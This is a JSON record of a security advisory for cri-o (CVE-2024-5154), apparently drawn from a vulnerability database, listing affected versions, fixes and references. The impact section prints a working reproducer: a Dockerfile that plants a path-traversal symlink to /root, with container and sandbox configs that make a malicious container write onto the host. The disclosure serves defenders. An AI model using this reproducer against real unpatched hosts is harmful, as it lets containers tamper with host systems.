{"id":"GHSA-j9hf-98c3-wrm8","revision":"81c308f930b14ea69a7aea32e57b182b","records":[{"revision":"81c308f930b14ea69a7aea32e57b182b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-j9hf-98c3-wrm8","aliases":["CVE-2024-5154","GO-2024-2919"],"title":"malicious container creates symlink \"mtab\" on the host External","description":"### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n  \"metadata\": {\n      \"name\": \"busybox\"\n  },\n  \"image\":{\n      \"image\": \"localhost/test\"\n  },\n  \"command\": [\n      \"/bin/true\"\n  ],\n  \"linux\": {\n  }\n}\n\n\n```\nand this sandbox config  \n```\n{\n  \"metadata\": {\n    \"name\": \"test-sandbox\",\n    \"namespace\": \"default\",\n    \"attempt\": 1,\n    \"uid\": \"edishd83djaideaduwk28bcsb\"\n  },\n  \"linux\": {\n    \"security_context\": {\n      \"namespace_options\": {\n        \"network\": 2\n      }\n    }\n  }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_","state":0,"publishedAt":"2024-06-04T18:12:31+00:00","modifiedAt":"2026-07-08T07:14:03.3863361+00:00","affected":[{"ecosystem":"Go","name":"github.com/cri-o/cri-o","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.28.6"},{"kind":"fixed","version":"1.28.7"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/cri-o/cri-o","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.29.4"},{"kind":"fixed","version":"1.29.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/cri-o/cri-o","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.30.0"},{"kind":"fixed","version":"1.30.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8","https://nvd.nist.gov/vuln/detail/CVE-2024-5154","https://access.redhat.com/errata/RHSA-2024:10818","https://access.redhat.com/errata/RHSA-2024:3676","https://access.redhat.com/errata/RHSA-2024:3700","https://access.redhat.com/errata/RHSA-2024:4008","https://access.redhat.com/errata/RHSA-2024:4159","https://access.redhat.com/errata/RHSA-2024:4486","https://access.redhat.com/security/cve/CVE-2024-5154","https://bugzilla.redhat.com/show_bug.cgi?id=2280190","https://github.com/cri-o/cri-o","https://pkg.go.dev/vuln/GO-2024-2919"],"sourceUrl":"https://github.com/advisories/GHSA-j9hf-98c3-wrm8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j9hf-98c3-wrm8","identifiers":["GHSA-j9hf-98c3-wrm8","CVE-2024-5154","GO-2024-2919"]},"retained":false,"historicalAffected":[]}],"coverage":[]}